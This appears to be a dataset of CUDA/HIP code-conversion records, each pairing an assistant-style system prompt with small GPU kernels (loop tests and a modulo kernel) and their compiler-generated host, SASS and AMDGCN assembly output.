.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "test_loops.hip"
.globl _Z25__device_stub__test_whilev # -- Begin function _Z25__device_stub__test_whilev
.p2align 4, 0x90
.type _Z25__device_stub__test_whilev,@function
_Z25__device_stub__test_whilev: # @_Z25__device_stub__test_whilev
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z10test_whilev, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end0:
.size _Z25__device_stub__test_whilev, .Lfunc_end0-_Z25__device_stub__test_whilev
.cfi_endproc
# -- End function
.globl _Z31__device_stub__test_large_whilev # -- Begin function _Z31__device_stub__test_large_whilev
.p2align 4, 0x90
.type _Z31__device_stub__test_large_whilev,@function
_Z31__device_stub__test_large_whilev: # @_Z31__device_stub__test_large_whilev
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z16test_large_whilev, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end1:
.size _Z31__device_stub__test_large_whilev, .Lfunc_end1-_Z31__device_stub__test_large_whilev
.cfi_endproc
# -- End function
.globl _Z44__device_stub__test_statements_in_while_bodyv # -- Begin function _Z44__device_stub__test_statements_in_while_bodyv
.p2align 4, 0x90
.type _Z44__device_stub__test_statements_in_while_bodyv,@function
_Z44__device_stub__test_statements_in_while_bodyv: # @_Z44__device_stub__test_statements_in_while_bodyv
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z29test_statements_in_while_bodyv, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end2:
.size _Z44__device_stub__test_statements_in_while_bodyv, .Lfunc_end2-_Z44__device_stub__test_statements_in_while_bodyv
.cfi_endproc
# -- End function
.globl _Z23__device_stub__test_forv # -- Begin function _Z23__device_stub__test_forv
.p2align 4, 0x90
.type _Z23__device_stub__test_forv,@function
_Z23__device_stub__test_forv: # @_Z23__device_stub__test_forv
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z8test_forv, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end3:
.size _Z23__device_stub__test_forv, .Lfunc_end3-_Z23__device_stub__test_forv
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
pushq %rbx
.cfi_def_cfa_offset 16
subq $32, %rsp
.cfi_def_cfa_offset 48
.cfi_offset %rbx, -16
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB4_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB4_2:
movq __hip_gpubin_handle(%rip), %rbx
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z10test_whilev, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z16test_large_whilev, %esi
movl $.L__unnamed_2, %edx
movl $.L__unnamed_2, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z29test_statements_in_while_bodyv, %esi
movl $.L__unnamed_3, %edx
movl $.L__unnamed_3, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z8test_forv, %esi
movl $.L__unnamed_4, %edx
movl $.L__unnamed_4, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $32, %rsp
.cfi_def_cfa_offset 16
popq %rbx
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end4:
.size __hip_module_ctor, .Lfunc_end4-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB5_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB5_2:
retq
.Lfunc_end5:
.size __hip_module_dtor, .Lfunc_end5-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z10test_whilev,@object # @_Z10test_whilev
.section .rodata,"a",@progbits
.globl _Z10test_whilev
.p2align 3, 0x0
_Z10test_whilev:
.quad _Z25__device_stub__test_whilev
.size _Z10test_whilev, 8
.type _Z16test_large_whilev,@object # @_Z16test_large_whilev
.globl _Z16test_large_whilev
.p2align 3, 0x0
_Z16test_large_whilev:
.quad _Z31__device_stub__test_large_whilev
.size _Z16test_large_whilev, 8
.type _Z29test_statements_in_while_bodyv,@object # @_Z29test_statements_in_while_bodyv
.globl _Z29test_statements_in_while_bodyv
.p2align 3, 0x0
_Z29test_statements_in_while_bodyv:
.quad _Z44__device_stub__test_statements_in_while_bodyv
.size _Z29test_statements_in_while_bodyv, 8
.type _Z8test_forv,@object # @_Z8test_forv
.globl _Z8test_forv
.p2align 3, 0x0
_Z8test_forv:
.quad _Z23__device_stub__test_forv
.size _Z8test_forv, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z10test_whilev"
.size .L__unnamed_1, 16
.type .L__unnamed_2,@object # @1
.L__unnamed_2:
.asciz "_Z16test_large_whilev"
.size .L__unnamed_2, 22
.type .L__unnamed_3,@object # @2
.L__unnamed_3:
.asciz "_Z29test_statements_in_while_bodyv"
.size .L__unnamed_3, 35
.type .L__unnamed_4,@object # @3
.L__unnamed_4:
.asciz "_Z8test_forv"
.size .L__unnamed_4, 13
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z25__device_stub__test_whilev
.addrsig_sym _Z31__device_stub__test_large_whilev
.addrsig_sym _Z44__device_stub__test_statements_in_while_bodyv
.addrsig_sym _Z23__device_stub__test_forv
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z10test_whilev
.addrsig_sym _Z16test_large_whilev
.addrsig_sym _Z29test_statements_in_while_bodyv
.addrsig_sym _Z8test_forv
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include "includes.h"
__global__ void kernel_5(int *new_data, int *data)
{
int _tid_ = threadIdx.x + blockIdx.x * blockDim.x;
if (_tid_ >= 10000000) return;
int idx_2 = (_tid_ / 2) % 500;
new_data[_tid_] = (data[_tid_] + idx_2) % 13377;
} | code for sm_80
Function : _Z8kernel_5PiS_
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R0, SR_TID.X ; /* 0x0000000000007919 */
/* 0x000e280000002100 */
/*0020*/ S2R R3, SR_CTAID.X ; /* 0x0000000000037919 */
/* 0x000e240000002500 */
/*0030*/ IMAD R0, R3, c[0x0][0x0], R0 ; /* 0x0000000003007a24 */
/* 0x001fca00078e0200 */
/*0040*/ ISETP.GT.AND P0, PT, R0, 0x98967f, PT ; /* 0x0098967f0000780c */
/* 0x000fda0003f04270 */
/*0050*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0060*/ HFMA2.MMA R9, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff097435 */
/* 0x000fe200000001ff */
/*0070*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fd20000000a00 */
/*0080*/ IMAD.WIDE R2, R0, R9, c[0x0][0x168] ; /* 0x00005a0000027625 */
/* 0x000fcc00078e0209 */
/*0090*/ LDG.E R2, [R2.64] ; /* 0x0000000402027981 */
/* 0x000ea2000c1e1900 */
/*00a0*/ LEA.HI R4, R0, R0, RZ, 0x1 ; /* 0x0000000000047211 */
/* 0x000fc800078f08ff */
/*00b0*/ SHF.R.S32.HI R4, RZ, 0x1, R4 ; /* 0x00000001ff047819 */
/* 0x000fca0000011404 */
/*00c0*/ IMAD.HI R5, R4, 0x10624dd3, RZ ; /* 0x10624dd304057827 */
/* 0x000fca00078e02ff */
/*00d0*/ SHF.R.U32.HI R6, RZ, 0x1f, R5 ; /* 0x0000001fff067819 */
/* 0x000fc80000011605 */
/*00e0*/ LEA.HI.SX32 R5, R5, R6, 0x1b ; /* 0x0000000605057211 */
/* 0x000fca00078fdaff */
/*00f0*/ IMAD R5, R5, -0x1f4, R4 ; /* 0xfffffe0c05057824 */
/* 0x000fca00078e0204 */
/*0100*/ IADD3 R5, R5, R2, RZ ; /* 0x0000000205057210 */
/* 0x004fe20007ffe0ff */
/*0110*/ IMAD.WIDE R2, R0, R9, c[0x0][0x160] ; /* 0x0000580000027625 */
/* 0x000fc800078e0209 */
/*0120*/ IMAD.HI R4, R5, 0x27317851, RZ ; /* 0x2731785105047827 */
/* 0x000fca00078e02ff */
/*0130*/ SHF.R.U32.HI R7, RZ, 0x1f, R4 ; /* 0x0000001fff077819 */
/* 0x000fc80000011604 */
/*0140*/ LEA.HI.SX32 R4, R4, R7, 0x15 ; /* 0x0000000704047211 */
/* 0x000fca00078faaff */
/*0150*/ IMAD R5, R4, -0x3441, R5 ; /* 0xffffcbbf04057824 */
/* 0x000fca00078e0205 */
/*0160*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x000fe2000c101904 */
/*0170*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0180*/ BRA 0x180; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0190*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0200*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0210*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0220*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0230*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0240*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0250*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0260*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0270*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "includes.h"
__global__ void kernel_5(int *new_data, int *data)
{
int _tid_ = threadIdx.x + blockIdx.x * blockDim.x;
if (_tid_ >= 10000000) return;
int idx_2 = (_tid_ / 2) % 500;
new_data[_tid_] = (data[_tid_] + idx_2) % 13377;
} | .file "tmpxft_00167fab_00000000-6_kernel_5.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z29__device_stub__Z8kernel_5PiS_PiS_
.type _Z29__device_stub__Z8kernel_5PiS_PiS_, @function
_Z29__device_stub__Z8kernel_5PiS_PiS_:
.LFB2051:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movq %rsi, (%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
movq %rsp, %rax
movq %rax, 88(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z8kernel_5PiS_(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z29__device_stub__Z8kernel_5PiS_PiS_, .-_Z29__device_stub__Z8kernel_5PiS_PiS_
.globl _Z8kernel_5PiS_
.type _Z8kernel_5PiS_, @function
_Z8kernel_5PiS_:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z29__device_stub__Z8kernel_5PiS_PiS_
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z8kernel_5PiS_, .-_Z8kernel_5PiS_
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z8kernel_5PiS_"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z8kernel_5PiS_(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
__global__ void kernel_5(int *new_data, int *data)
{
int _tid_ = threadIdx.x + blockIdx.x * blockDim.x;
if (_tid_ >= 10000000) return;
int idx_2 = (_tid_ / 2) % 500;
new_data[_tid_] = (data[_tid_] + idx_2) % 13377;
} | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void kernel_5(int *new_data, int *data)
{
int _tid_ = threadIdx.x + blockIdx.x * blockDim.x;
if (_tid_ >= 10000000) return;
int idx_2 = (_tid_ / 2) % 500;
new_data[_tid_] = (data[_tid_] + idx_2) % 13377;
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void kernel_5(int *new_data, int *data)
{
int _tid_ = threadIdx.x + blockIdx.x * blockDim.x;
if (_tid_ >= 10000000) return;
int idx_2 = (_tid_ / 2) % 500;
new_data[_tid_] = (data[_tid_] + idx_2) % 13377;
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z8kernel_5PiS_
.globl _Z8kernel_5PiS_
.p2align 8
.type _Z8kernel_5PiS_,@function
_Z8kernel_5PiS_:
s_load_b32 s2, s[0:1], 0x1c
s_waitcnt lgkmcnt(0)
s_and_b32 s2, s2, 0xffff
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[1:2], null, s15, s2, v[0:1]
s_mov_b32 s2, exec_lo
v_cmpx_gt_i32_e32 0x989680, v1
s_cbranch_execz .LBB0_2
s_load_b128 s[0:3], s[0:1], 0x0
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[2:3], 2, v[1:2]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v4, vcc_lo, s2, v2
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_2) | instid1(VALU_DEP_1)
v_add_co_ci_u32_e32 v5, vcc_lo, s3, v3, vcc_lo
global_load_b32 v0, v[4:5], off
v_lshrrev_b32_e32 v4, 31, v1
v_add_nc_u32_e32 v1, v1, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v1, 1, v1
v_mul_hi_i32 v4, v1, 0x10624dd3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshrrev_b32_e32 v5, 31, v4
v_ashrrev_i32_e32 v4, 5, v4
v_add_nc_u32_e32 v4, v4, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v4, v4, 0x1f4
v_sub_nc_u32_e32 v1, v1, v4
s_waitcnt vmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_nc_u32_e32 v0, v0, v1
v_mul_hi_i32 v1, v0, 0x27317851
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshrrev_b32_e32 v4, 31, v1
v_ashrrev_i32_e32 v1, 11, v1
v_add_nc_u32_e32 v1, v1, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_i32_i24_e32 v1, 0x3441, v1
v_sub_nc_u32_e32 v4, v0, v1
v_add_co_u32 v0, vcc_lo, s0, v2
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v3, vcc_lo
global_store_b32 v[0:1], v4, off
.LBB0_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z8kernel_5PiS_
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 272
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 6
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z8kernel_5PiS_, .Lfunc_end0-_Z8kernel_5PiS_
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .offset: 16
.size: 4
.value_kind: hidden_block_count_x
- .offset: 20
.size: 4
.value_kind: hidden_block_count_y
- .offset: 24
.size: 4
.value_kind: hidden_block_count_z
- .offset: 28
.size: 2
.value_kind: hidden_group_size_x
- .offset: 30
.size: 2
.value_kind: hidden_group_size_y
- .offset: 32
.size: 2
.value_kind: hidden_group_size_z
- .offset: 34
.size: 2
.value_kind: hidden_remainder_x
- .offset: 36
.size: 2
.value_kind: hidden_remainder_y
- .offset: 38
.size: 2
.value_kind: hidden_remainder_z
- .offset: 56
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 64
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 80
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 272
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z8kernel_5PiS_
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z8kernel_5PiS_.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 6
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void kernel_5(int *new_data, int *data)
{
int _tid_ = threadIdx.x + blockIdx.x * blockDim.x;
if (_tid_ >= 10000000) return;
int idx_2 = (_tid_ / 2) % 500;
new_data[_tid_] = (data[_tid_] + idx_2) % 13377;
} | .text
.file "kernel_5.hip"
.globl _Z23__device_stub__kernel_5PiS_ # -- Begin function _Z23__device_stub__kernel_5PiS_
.p2align 4, 0x90
.type _Z23__device_stub__kernel_5PiS_,@function
_Z23__device_stub__kernel_5PiS_: # @_Z23__device_stub__kernel_5PiS_
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movq %rsi, 48(%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 48(%rsp), %rax
movq %rax, 72(%rsp)
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z8kernel_5PiS_, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end0:
.size _Z23__device_stub__kernel_5PiS_, .Lfunc_end0-_Z23__device_stub__kernel_5PiS_
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z8kernel_5PiS_, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
